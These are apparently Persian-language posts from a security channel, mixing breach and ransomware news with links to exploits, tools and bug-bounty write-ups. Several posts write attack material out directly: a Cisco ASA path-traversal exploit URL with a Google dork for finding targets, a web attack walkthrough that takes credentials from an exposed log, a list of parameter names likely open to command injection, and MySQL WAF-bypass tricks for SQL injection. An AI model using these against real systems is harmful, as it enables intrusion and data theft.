رایت آپ کشف آسیب پذیری بر روی فیسبوک
این آسیب پذیری به هکرها اجازه میداد هر عکس دلخواهی را حذف کنند


https://bugreader.com/social/write-ups-general-how-we-were-able-to-delete-donald-trump-posts-on-facebook--100955


#facebook
#bugbounty
#pentest
#writeup

@sec_nerd

یک هکر ناشناس dataviper را هک کرده وبیش از ۸۲۰۰ دیتابیس این وبسایت را به سرقت برد

دیتاوایپر یک سرویس امنیتی امریکایی ست که دیتابیس های هک شده در اینترنت را مانیتور و جمع آوری میکند و به مشتریان خود اعلام میکند که آیا قربانی حملات سایبری بوده اند یا خیر

این هکر اعلام کرده است که اطلاعات میلیاردها کاربر را که قربانی هک های سالهای گذشته بوده اند در اختیار دارد.
وی اقدام به ارسال آدرس یک وبسایت در دارک نت برای برخی متخصصان امنیت کرده است.

https://www.zdnet.com/article/hacker-breaches-security-firm-in-act-of-revenge/


#news #breach

@sec_nerd

اکسپلویت کردن یک ایراد امنیتی در ویندوز ۱۰ که منجر به بالا رفتن سطح دسترسی میگردد

https://github.com/Q4n/CVE-2020-1362


#windows #privesc


@sec_nerd

اجرای دستور بر روی گوشی های سامسونگ با نسخه های اندروید خانواده ۸، اندروید۹ و ۱۰ بدون نیاز به دخالت کاربر

اکسپلویت شناسه CVE-2020-8899 کشف شده توسط google project zero

توضیحات فنی
https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-1-introduction-to-qmage.html


دمو:
https://www.youtube.com/watch?v=ZQnb8kRMkHg


#android
#rce
#samsung


@sec_nerd

یک سناریوی ساده برای حمله به وبسایت

- use https://dirsearch.py -u site -e php,xml,jsp,asp -x 500,403
- got result https://site.com/admin/error.log
- open the log file
- there is juicy info and open https://site.com/admin/index.php
- use the php_auth_user and php_auth_pass
- logged in


#bugbounty
#pentest
#web

@sec_nerd

حمله به شبکه ی ویندوزی با ترکیب دو ابزار Responder و Snarf

https://ijustwannared.team/2017/05/20/responder-and-snarf/


#windows
#privesc
#pivoting

@sec_nerd

دستیابی به خط فرمان بر روی ماشین ویندوزی از طریق لینوکس


https://www.infosecmatter.com/rce-on-windows-from-linux-part-1-impacket/

https://www.infosecmatter.com/rce-on-windows-from-linux-part-2-crackmapexec/

https://www.infosecmatter.com/rce-on-windows-from-linux-part-3-pth-toolkit/

https://www.infosecmatter.com/rce-on-windows-from-linux-part-4-keimpx/

https://www.infosecmatter.com/rce-on-windows-from-linux-part-5-metasploit-framework/

https://www.infosecmatter.com/rce-on-windows-from-linux-part-6-redsnarf/


#windows
#privesc
#rce
#pivoting


@sec_nerd

مرورگر از پیش تنظیم شده در آپدیت جدید burpsuite قرار گرفت

https://www.youtube.com/watch?v=-s5QCgNlp5A


https://portswigger.net/burp/releases/professional-community-2020-7


#burpsuite


@sec_nerd

اسکن تمام پورتها در ۱۹ ثانیه!

https://github.com/brandonskerritt/RustScan

#network
#recon
#nmap


@sec_nerd

ماژول متاسپلویت برای آسیب پذیری SAP Netweaver با شناسه CVE-2020-6287
با قابلیت اضافه کردن یوزر ادمین

https://github.com/rapid7/metasploit-framework/pull/13852


#SAP
#msf


@sec_nerd

ابزار اتوماتیک اکسپلویت کننده آسیب پذیریهای ثبت شده در weblogic

https://github.com/0xn0ne/weblogicScanner

#weblogic #rce #exploit


@sec_nerd

شرح کامل آسیب پذیری کشف شده در sharepoint با شناسه CVE-2020-1147 به همراه اکسپلویت


https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html


#sharepoint
#microsoft
#windows
#rce

@sec_nerd

آسیب پذیری LFI در تجهیزات سیسکو ASA

شناسه:CVE-2020-3452

- Google Dork: inurl:/+CSCOE+/

- Exploit Code
[Victim]/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua" -O [Filename]


#cisco
#lfi

@sec_nerd

شاید خندتون بگیره ولی حقیقت داره!


#hack
#fun


@sec_nerd

پارامترهای معمول آسیب پذیر در برابر حملات RCE

cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print


#rce


@sec_nerd

رایت آپ کشف باگ SSRF در grafana.com


https://rhynorater.github.io/CVE-2020-13379-Write-Up


#writeup
#bugbounty
#ssrf


@sec_nerd

Mysql waf bypasses to cash on SQL-Injection bugs

1. select '\f\l\a\g'='flag'; // This is true
2. All are same
* select 'abcd';
* select 0x61626364;
* select 0b01100001011000100110001101100100;
3. select 'admin' = 'àdmin'; // is true if utf8 is allowed

#bugbounty
#sqli

@sec_nerd

دسترسی به ادمین دامین یک دانشگاه در ایالت فلوریدا به بیش از ۵ هزار کلاینت به مبلغ 1.5 بیت کوین به فروش گذاشته شده است

#breach #news

@sec_nerd

باج افزار Netwalker در عرض ۵ ماه ۲۵ میلیون دلار درآمد داشته است!

این باج افزار سازمانهای بزرگ را هدف قرار میدهد و قادر به تسخیر شبکه داخلی است.

اهداف نت واکر در طی این ۵ ماه شامل:
شرکت Toll Group از استرالیا
دانشگاه ایالت میشیگان
UC san fransicsco
مرکز سلامت Lorien
گروه Dussmann آلمان



https://www.bleepingcomputer.com/news/security/netwalker-ransomware-earned-25-million-in-just-five-months/


#news
#ransom


@sec_nerd

رایت آپ کشف آسیب پذیری RCE بر روی روتر های مبین نت توسط دو محقق امنیتی که از دوستان کانال و گروه هم هستند


https://medium.com/@maj0rmil4d/seowon-slc-130-router-rce-unlocking-writeup-90854ae2eb0e


#writeup
#rce
#mobinnet


@sec_nerd